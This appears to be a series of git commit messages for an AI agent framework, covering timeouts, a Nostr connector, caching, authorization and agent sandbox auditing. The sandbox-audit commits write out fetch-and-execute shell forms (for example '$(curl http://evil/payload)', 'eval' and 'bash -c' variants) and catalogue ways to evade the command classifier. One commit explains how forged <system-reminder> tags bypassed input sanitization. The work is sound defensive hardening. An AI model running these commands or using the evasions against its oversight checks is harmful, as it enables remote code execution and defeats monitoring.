* fix: bound MCP server bring-up timeouts and exclude externalized tool outputs from delivery verification
Two related robustness fixes:
1. MCP server bring-up was unbounded. tool_call_timeout only covered
session.call_tool(); tool discovery (subprocess spawn + initialize +
tools/list) and persistent stdio session initialization could hang
forever, blocking agent construction (and on the Gateway event loop,
the whole process). Add a per-server session_init_timeout
(default DEFAULT_MCP_SESSION_INIT_TIMEOUT = 60s, null disables) that
bounds both discovery and pooled-session initialization. The session
pool's existing cancellation handling tears down a session stuck
mid-creation in its own task.
2. ToolOutputBudgetMiddleware externalizes oversized tool outputs into
outputs/.tool-results/ (configurable tool_output.storage_subdir). The
workspace-change scanner and run delivery verification counted those
files as produced artifacts, so any run that externalized a tool output
without also presenting a real artifact failed with
"Artifact delivery incomplete". Exclude TOOL_RESULTS_DIRNAME via a
shared constant (mirroring BROWSER_FRAMES_DIRNAME) and thread the
configured storage_subdir through snapshot capture so both
workspace-changes events and delivery verification stay clean.
* review: enforce single-segment tool_output.storage_subdir; document discovery-timeout cleanup
Address review feedback:
1. A custom tool_output.storage_subdir with a path separator (e.g.
cache/tool-results) silently no-oped the workspace-scanner exclusion:
os.walk yields one-segment dirnames, so a nested value never matched and
its files were counted as produced artifacts again. ToolOutputConfig now
validates storage_subdir as a single directory name (rejects separators,
.., absolute, empty) with tests, so the exclusion is always sound.
2. The discovery-timeout path now documents why cancellation is safe, mirroring
the session-init note: discovery runs inside the adapter's nested async
context managers, and stdio_client's finally terminates the process tree
(SIGTERM->SIGKILL on POSIX, process-tree on Windows), so a timed-out npx
subprocess and its children are reaped rather than accumulating.
* review: log session-init timeouts and align API response model default with runtime config
Address second-round review feedback:
1. A session-init timeout raised TimeoutError without any log, unlike the
discovery timeout which logs a WARNING. Wrap the bounded get_session in a
try/except that logs the timeout (server name + seconds) and re-raises, so
operators can diagnose tool-call failures caused by hung MCP sessions.
2. McpServerConfigResponse.session_init_timeout defaulted to None while
McpServerConfig defaults to 60s: a server created via PUT /api/mcp/config
without the field was persisted with null (no timeout) while the same
server created in the config file got 60s. Align the response-model default
to DEFAULT_MCP_SESSION_INIT_TIMEOUT so API-created and file-created servers
behave the same; an explicit null still opts out.
* review: narrow the discovery-timeout handler to the bounded wait_for path
The except TimeoutError clause covered both the bounded wait_for branch and
the bare discovery branch. With session_init_timeout opted out (None), a
TimeoutError raised by discovery itself would hit the %.1f format with None:
logging raises TypeError internally, the WARNING is silently dropped, and a
--- Logging error --- traceback goes to stderr.
Narrow the handler to wrap only the wait_for call, where the branch condition
guarantees the timeout value is not None. A discovery-internal TimeoutError on
the opted-out path now falls through to the generic failure handler and is
reported as 'tool discovery failed' with exc_info. Covered by a regression
test that asserts the skip is reported without any broken format.
* feat(channels): add Buzz (Nostr) channel connector
Adds a Buzz (https://github.com/block/buzz) channel so DeerFlow can join a
Nostr-relay workspace as a member: it answers @mentions in channels, replies
to DMs, and streams answers by editing one message in place.
* app/channels/buzz_nostr.py — pure NIP-01 helpers: canonical event ids,
BIP-340 signing/verification, chat/edit/auth builders, relay frames.
* app/channels/buzz.py — BuzzChannel: one NIP-42-authenticated websocket,
channel discovery (kind 39000) with one subscription per channel, live
membership tracking (44100/44101), per-channel replay watermarks, and
replies posted once then edited in place (kind 40003).
* app/channels/buzz_run_policy.py — same-thread serialization, mirroring
the Feishu precedent.
Inbound is gated in order: signature verification, self-drop, /connect
bind-and-return, pubkey allowlist, then mention / DM / mention-free /
thread-follow. Off by default; needs the new optional `buzz` extra
(coincurve, lazily imported), which detect_uv_extras resolves from
channels.buzz.enabled the same way it already handles channels.discord.
Two relay behaviours drove the design and are worth knowing when reviewing:
a global {"kinds":[9]} subscription receives nothing from buzz-relay and a
multi-value "#h" filter receives nothing either, so one REQ per channel is
required; and a single global `since` cursor skips quiet channels, so
watermarks are per channel.
Signed-off-by: Ajay R <ajayr@formbuddy.com>
* fix(channels): only publish assistant messages from the IM stream
`_accumulate_stream_text` decided what streamed `messages-tuple` payloads
become displayable text by rejecting ONLY payloads whose `type` contained
"tool", so it published everything else. DeerFlow writes hidden model
context into the messages channel as ordinary messages -- memory recall and
the rewritten user turn as hidden HumanMessages (DynamicContextMiddleware),
the `<durable_context_data>` block as another (DurableContextMiddleware) --
and LangGraph fans those state writes out on the messages stream, so they
reached every streaming IM channel as the assistant's reply.
Proved live on a Buzz relay: the connector published a `<memory>` fact block
and, in another run, a verbatim echo of the user's own inbound message.
Affects Feishu, Telegram, WeCom and Buzz; worst on Buzz, where each update
is an immutable public Nostr event that a corrective edit cannot unpublish.
Invert the filter to an allowlist of assistant message types. Two new pure
helpers keep it testable:
- `_stream_payload_type` resolves the type from both shapes the function
already handles: the `model_dump()` shape the gateway emits, and
LangChain's `to_json()` constructor shape whose own `type` is the literal
"constructor" and whose class name is the tail of the `id` path.
- `_is_assistant_stream_type` matches "ai"/"assistant" by PREFIX, not
substring -- ordinary words contain "ai" ("chain", "domain"), and a
substring test would admit a foreign type name by accident.
The bare-`str` branch is removed: an untyped payload cannot be attributed to
the assistant, nothing in DeerFlow produces one (serialize_messages_tuple
always emits `[message_dict, metadata]`), and a runtime that emitted raw text
deltas would emit hidden context the same way. Per-message-id buffering and
merging are unchanged.
Tests pin both directions, including multi-chunk merging across one message
id, so the allowlist cannot silently kill streaming, plus an end-to-end
`_handle_streaming_chat` test asserting the live payload never reaches an
outbound message.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Signed-off-by: Ajay R <ajayr@formbuddy.com>
* chore(helm): bump config_version to 33 in chart values and README
config.example.yaml moved to 33 for the buzz channel block; the chart's
embedded config example and its README copy track it (config_version only
drives the outdated-config warning, per scripts/check_config_version.sh).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Signed-off-by: Ajay R <ajayr@formbuddy.com>
---------
Signed-off-by: Ajay R <ajayr@formbuddy.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
InputSanitizationMiddleware's text extraction only collected dict blocks
with type == "text", so a HumanMessage whose content list carried a bare
str item (a shape message_content_to_text treats as text and some IM/SDK
clients send) yielded no text at all — the request passed through
unwrapped and unescaped, letting forged framework tags (<system-reminder>
etc.) reach the model untouched. The sibling rfind-fallback path in
_process_request already neutralized bare strings individually, and both
ToolResultSanitizationMiddleware and ToolOutputBudgetMiddleware treat
bare strings as text; the extraction helper was the odd one out.
Collect bare string blocks alongside text-block dicts (skipping empty
items, matching message_content_to_text), merging them into the single
sanitized text block on rebuild while interleaved non-text blocks keep
their positions.
* feat(extensions): add middleware plugin foundation
* fix(extensions): stop config resolution from masking extension loading
`create_app()` resolved the configured plugin list inside the fail-open
guard around `load_extensions()`. CI has no `config.yaml` (gitignored and
never generated by the workflow), so `get_app_config()` raised
`FileNotFoundError` there and was swallowed as an extension failure --
`load_extensions()` never ran at all, and the four `create_app()` tests in
`test_extension_app_loading.py` passed locally but failed on every runner.
Resolve the plugin list before the guard. Only an absent `config.yaml` is
tolerated, mirroring `_resolve_trace_enabled_for_app_construction()`:
`create_app()` runs at import time, and lifespan still performs strict
config loading before serving. A `config.yaml` that exists but fails to
parse or validate now propagates instead of being reported as an extension
failure -- reporting it as the latter silently dropped a `required: true`
extension rather than failing the boot.
Make the tests config-independent with an autouse `stub_app_config`
fixture, following the existing pattern in `test_gateway_lifespan_shutdown.py`,
and cover both new branches of the config-resolution boundary.
* fix(extensions): bind the run's extension snapshot through subagent delegation
The lead-agent path resolves one immutable loaded-extension snapshot per run
and binds it through task-store allocation and graph construction, but the
subagent path re-read the process-wide singleton at execution time. In
production both are the same object, yet a `set_loaded_extensions()` between
the lead run's start and a subagent's execution (test teardown, a future
hot-reload path) would let one run mix two extension generations — exactly what
the documented invariant exists to prevent.
The graph-build binding is a ContextVar scoped to synchronous construction, so
it has already exited by the time a tool delegates; the snapshot has to travel
through runtime context instead. The run worker publishes it under the
host-internal `EXTENSION_SNAPSHOT_CONTEXT_KEY` (written after the caller merge,
popped when the run has none, so a caller-supplied value is never
authoritative), `task_tool` reads it back through the type-checking
`resolve_run_extensions()`, and `SubagentExecutor` binds it at construction.
Callers outside the Gateway run path — embedded `DeerFlowClient`, standalone
LangGraph Server — install no snapshot and keep the existing
`get_loaded_extensions()` fallback.
* refactor(extensions): defer the ordering table by call, not by a lying tuple
`CORE_ORDERING_CONSTRAINTS` was a `tuple` subclass that overrode only
`__iter__` and resolved into a class-level `_resolved` side channel. A tuple
cannot populate its own storage after construction, so the instance stayed the
empty tuple it was built as: `len()` was 0, `bool()` was False, `in` was always
False, indexing raised, slicing and `reversed()` came back empty, and it
compared unequal to the plain tuples tests substitute for it — all while
iteration yielded the real constraints. Only `assert_ordering` consumed it, and
only by iterating, so the split went unnoticed.
The sibling `_AnchorTable(dict)` uses the same idea soundly because dict is
mutable: `self.update()` fills the real storage, making every inherited
operation correct. That trick does not survive the port to an immutable type.
Replace it with `core_ordering_constraints()`, matching how `stack.py` defers
the same kind of table via `_anchors()`. The deferral is kept — it is about
dependency direction, not just cycles: `extensions/` is the layer the
middleware layer calls into, so a module-scope `agents.middlewares` import here
points the dependency backwards and closes a cycle as soon as any middleware
imports something under `extensions/` at module level. Resolution stays at
`assert_ordering` time, which already runs inside the middleware builder.
Tests pin both halves: the returned value is a plain tuple whose len/bool/
membership/indexing/reversal/equality agree with iteration, and a subprocess
probe asserts importing `extensions.ordering` does not load the middleware
layer while calling the function does.
The instance-client signal is a one-level lexical-scope analysis, and issue #4296
enumerates the cases it deliberately does not report. Four of them were only
described in prose: a handle reached through a container item, a factory return, a
locally aliased constructor, or a dynamic getattr, plus sinks invoked as anything
other than name.method(...).
Pin them in test_python_declared_false_negatives_stay_unreported alongside the cases
already covered, so each is asserted against the runtime oracle -- the client really
is called and the scanner really is silent -- rather than assumed. Re-widening or
narrowing the model now has to change this test.
No behaviour change.
* feat(checkpoint-cache): delta-mode checkpoint history cache with recursive compose
Read-only, invalidation-free cache for LangGraph delta-channel history
({writes, seed}) at the get_delta_channel_history choke point:
- database.checkpoint_cache config (memory|redis; max_entries 0=disabled;
redis bounded by TTL, Gateway/async only)
- memory LRU backend (copy-on-read, zero-serde hit path) and redis backend
(lazy import, degrades to all-miss on outage)
- CachedHistorySaver: recursive composition from the nearest warm ancestor
(depth budget 8), caching each level; depth-0 cold chains delegate one
inner fast-path walk. Entries keyed by immutable
(db, thread, ns, checkpoint_id, channel) — no invalidation, coherent
across workers
- provider wiring: wraps in delta mode only (async + sync), full mode
untouched; sync path is memory-only
- bench opt-in: DEERFLOW_CHECKPOINT_BENCH_HISTORY_CACHE=1
sqlite bench (500 updates, payload 2KB): write phase 2.28x at f=250,
1.32x at f=10; one delegated walk per thread cold start.
* chore(config): bump config_version to 32 for database.checkpoint_cache
The checkpoint history cache feature added the database.checkpoint_cache
section to config.example.yaml; bump the schema version so existing
deployments get the outdated-config warning and can run make config-upgrade.
* chore(helm): bump config_version to 32 in chart values and README
* fix(checkpoint-cache): purge thread history entries on delete paths
Addresses review on #4638: delete_thread/prune removed source-of-truth
checkpoints but left the thread's materialized history payloads in the
cache (memory: until LRU eviction; redis: until TTL, default 1 day) — a
data-lifecycle gap for tenant offboarding / GDPR-style erasure.
- Cache contract gains thread-scoped adelete_thread/delete_thread
(lifecycle purge, not invalidation; entries remain immutable)
- Memory backend: stem scan over the LRU map; redis: SCAN MATCH + UNLINK,
outage degrades to TTL-bounded retention without raising
- CachedHistorySaver purges on delete_thread/adelete_thread and
prune/aprune (prune rewrites chains, so pre-prune histories must go);
delete_for_runs stays delegation-only (run->thread mapping unavailable,
no in-tree callers), documented in code
- ttl_seconds description documents the residual-retention window
- Tests: thread-scoped purge on both backends, saver-level delete/prune
purge, prefix-safety (t1 vs t10), redis outage degradation, and the
pinned no-purge behavior of delete_for_runs
* fix(checkpoint-cache): stable db identity, prefix-aware sync singleton, explicit zero TTL
Addresses Copilot review on #4638:
- checkpoint_cache_db_hash now hashes the credential-free postgres
identity (host:port/database + schema): credential rotation no longer
changes the cache namespace (cold cache + orphaned keys until TTL).
Unparseable URLs fall back to the raw string.
- The sync-path memory cache singleton is also keyed by its key_prefix:
a namespace change (db identity change or operator override) recreates
the cache instead of leaving stale-prefix entries unreachable and
unpurgeable.
- ttl_seconds=0 is now an explicit, documented opt-out of redis expiry
(SET without EX; redis maxmemory policy only) instead of a silent
'ttl_seconds or None' coercion.
Tests: credential-rotation hash stability, unparseable-URL fallback,
prefix-change singleton recreation, same-prefix singleton reuse, and
zero-TTL wire behavior (ex=None).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(authz): enforce model authorization at Gateway routes and runtime (#4063 Phase 3)
Phase 3 / Models — the first of three resource-type PRs (Models, Skills,
Sandbox). The RBAC provider already maps "model" → config key "models"
(rbac.py _RESOURCE_POLICY_KEYS), so no schema change is needed.
Gateway route layer (mirrors Phase 2A):
- resolve_model_authorization() in authz.py returns (provider, principal),
reusing _get_cached_route_provider and build_principal_from_context,
including the INTERNAL_SYSTEM_ROLE → None pop for internal callers.
- list_models filters via provider.filter_resources(principal, "model", names).
- get_model checks provider.authorize("model", "use"). Deny → 403 (not 404,
since the model exists but the role lacks permission).
Runtime resolution layer (mirrors Phase 1B):
- _authorize_model_name() in agent.py runs after _resolve_model_name. On deny,
falls back to the first allowed model (RFC §9: graceful, not crash). All
models denied + fail_closed → ValueError (matches existing contract).
authorization.enabled: false is a complete no-op on both layers. Anonymous
requests (user=None) bypass filtering. 18 new tests + 314 existing tests pass.
* fix(authz): enforce model:use on the embedded DeerFlowClient path (Phase 3 follow-up)
Round 4 review (willem-bd): _authorize_model_name only covered the Gateway
runtime path (_make_lead_agent). The parallel lead-agent construction path
DeerFlowClient._ensure_agent (client.py) filtered tools but not the model,
so a library/embedded consumer with role-scoped model policies could run a
model the role is denied model:use for.
- Insert _authorize_model_name in _ensure_agent, mirroring _make_lead_agent.
- Resolve None default to the first configured model before the gate so the
implicit default (create_chat_model(name=None)) is also authorized.
- Update test_authorization_filters_framework_tools_and_reuses_provider: the
stub provider now returns an allow decision for model:use (checked during
assembly) and patches resolve_authorization_provider in the agent namespace.
- Add 3 DeerFlowClient._ensure_agent path tests (real-path fallback,
None-default resolution, disabled no-op); 24 tests total.
* docs(authz): document get_model provider-unavailable fail-open path + test
zhfeng review (round 5): get_model's docstring only mentioned the deny→403
path, not the provider-resolution-error + fail-open path (which allows the
request, mirroring list_models's documented fail-open semantics). The
behavior itself is correct and symmetric with list_models, but it was
undocumented and the _AuthorizationUnavailable path had no test coverage.
- Extend get_model docstring to state the provider-error fail-closed/fail-open
outcome, matching list_models's wording.
- Add test_get_model_provider_unavailable_fail_closed_vs_open exercising the
_AuthorizationUnavailable path (provider cannot be resolved at all), pinning
fail-closed→403 / fail-open→200.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* fix(sandbox): judge command substitution by position in audit middleware
SandboxAuditMiddleware refused any `$(...)` containing a risky executable,
so ordinary output capture such as
`code=$(curl -s -o /dev/null -w '%{http_code}' https://example.com)` was
blocked before the bash tool ever ran. The rule matched the `$(cmd` token
regardless of syntactic position, and because the opening paren was optional
and unbounded it also caught plain variable expansions (`$shell`, `$bashrc`,
`$python_version`) and lookalike binaries (`shellcheck`, `shasum`).
Command position is what makes a substitution dangerous: `$(curl url)` as the
command executes what was downloaded, while `x=$(curl url)` or
`echo $(curl url)` only captures its output. Replace the unanchored rule with
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, matched anchored against each split
sub-command, and add `split_pipes=True` to `_split_compound_command` so the
word after a pipe is recognised as a new command position. `_split_compound_command`
keeps its previous behaviour by default, since a pipeline is one logical command
and the pipe-spanning rules (`| sh`, `base64 -d | ...`) are matched by the
whole-command scan in `_classify_command`.
Add an explicit `eval`/`source` rule so narrowing the substitution rule does not
release forms the broad pattern had covered incidentally (`eval $(curl url)`,
`source <(curl url)`). It reuses the same executable list, so common shapes like
`eval "$(ssh-agent)"` stay allowed.
Two-step forms (`x=$(curl u); eval "$x"`), process substitution outside
eval/source, and newline-separated statements remain undetected; closing them
needs real shell parsing, which is out of scope for an audit layer whose actual
isolation boundary is the sandbox.
Fixes#4611
* fix(sandbox): keep assignment/wrapper prefixes in command position
Anchoring the command-substitution rule at the start of a sub-command missed
that a command position is not always the first character. POSIX shell allows
leading variable assignments, and exec wrappers keep what follows in command
position, so `FOO=1 $(curl url)`, `env FOO=1 $(curl url)`, `nohup $(curl url)`
and `time $(curl url)` all execute the fetched output while reading as value
position to an anchored pattern. The previous unanchored rule caught these
incidentally, so leaving them out was a regression rather than a documented gap.
`_COMMAND_POSITION_PREFIX` extends the anchor over those prefixes. Its
assignment branch requires whitespace between the assignment and the
substitution, which is what still separates `FOO=1 $(curl url)` (command) from
`x=$(curl url)` (value); an argument-position substitution behind the same
prefix, such as `env FOO=1 ./run.sh --tag $(curl url)`, keeps passing. The
repetition is bounded so the alternation cannot backtrack on long input.
Also correct the documented gap list: two-step forms
(`x=$(curl u); eval "$x"`) are inherent to allowing output capture rather than
an oversight, since any rule that permits the capture permits the first
statement and linking it to the later eval needs dataflow analysis.
* fix(sandbox): treat interpreter code-string flags as execution context
Narrowing the substitution rule to command position released the forms where
the substitution is an *argument* to something that executes it. Verified
against both classifiers, block on main -> pass on this branch:
bash|sh|dash|ksh|zsh -c "$(curl u)" python|perl|ruby|node|php -c/-e/-p/-r
bash <<< "$(curl u)" xargs sh -c "$(curl u)"
Same class as the eval/source case the PR kept, spelled with a flag. Add two
whole-command rules covering the code-string flags and the here-string. They
are position-blind on purpose: 'bash -c' executes what it receives wherever it
appears, including as an argument to another command.
Also fixes the eval/source rule itself. It required '\(' after [`$<], so the
backtick spelling regressed with the rest: 'eval `curl u`' and
'source `curl u`' blocked on main and passed here, despite the PR claiming
eval/source coverage was preserved. All three spellings ($( , <( , backtick)
now share one _RISKY_SUBSTITUTION opener so a rule cannot cover one and miss
another.
Reported by @rjvkn on #4623; the backtick half was found while confirming it.
'bash <(curl u)' stays passing -- it was already passing on main and remains a
documented gap, not a regression.
* fix(sandbox): split on newlines, and keep heredoc bodies out of it
An unquoted newline separates statements exactly like ';', but the splitter
never split on it and normalization collapsed it to a space before the
'^'-anchored rules ran, so identical shell semantics got opposite verdicts:
echo hi; $(curl u) -> block
echo hi<newline>$(curl u) -> pass
Block on main, pass here -- so the PR description's 'newline-separated
statements ... were not detected before this change' was wrong. It holds for
'. <(curl u)' process substitution, which passed on main too; it does not hold
for this. Third instance of one root cause: replacing an unanchored .search
with anchored per-sub-command matching releases every context the splitter does
not model (argument position, backtick spelling, statement separator).
Splitting on newlines alone would then manufacture command positions the shell
never creates -- a heredoc body line beginning with $(curl url) is file
content, not a command. So headers are recorded as they are read and their
bodies consumed verbatim at the newline that opens them. '<<<' is a here-string
and opens nothing; both a lookahead and a lookbehind are needed, or the
trailing '<<' of '<<< "text"' reads as a heredoc with delimiter 'text'.
The header regex is tried only at '<', which keeps this off every other
character: without the guard a 10KB command went 313ms -> 505ms. A realistic
20KB heredoc file write classifies in ~13ms.
Reported by @willem-bd on #4623.
* fix(sandbox): do not read an arithmetic shift as a heredoc header
The heredoc heuristic fired on any unquoted '<<', so a bit shift whose right
operand is an identifier opened a phantom heredoc:
offset=$(( idx << shift ))
$(curl http://evil/payload)
Delimiter 'shift' never appears, so the unterminated body consumed the rest of
the string, the second line was never split into its own sub-command, and the
anchored rule never saw it -- reopening the newline evasion the previous commit
closed, and a regression against main.
Track arithmetic depth alongside the quote flags and skip header detection
while it is positive. Covers the bare arithmetic command '(( ... ))' too, not
just '$(( ... ))': it evades identically and a $-only guard would miss it. A
digit right operand ('$((1<<8))') never had the problem, since a delimiter
cannot start with one; both spellings are pinned so they cannot drift.
An unclosed '((' leaves the depth positive, which only disables heredoc
detection -- newlines keep splitting, so the failure direction stays towards
seeing more command positions rather than fewer.
Reported by @willem-bd on #4623.
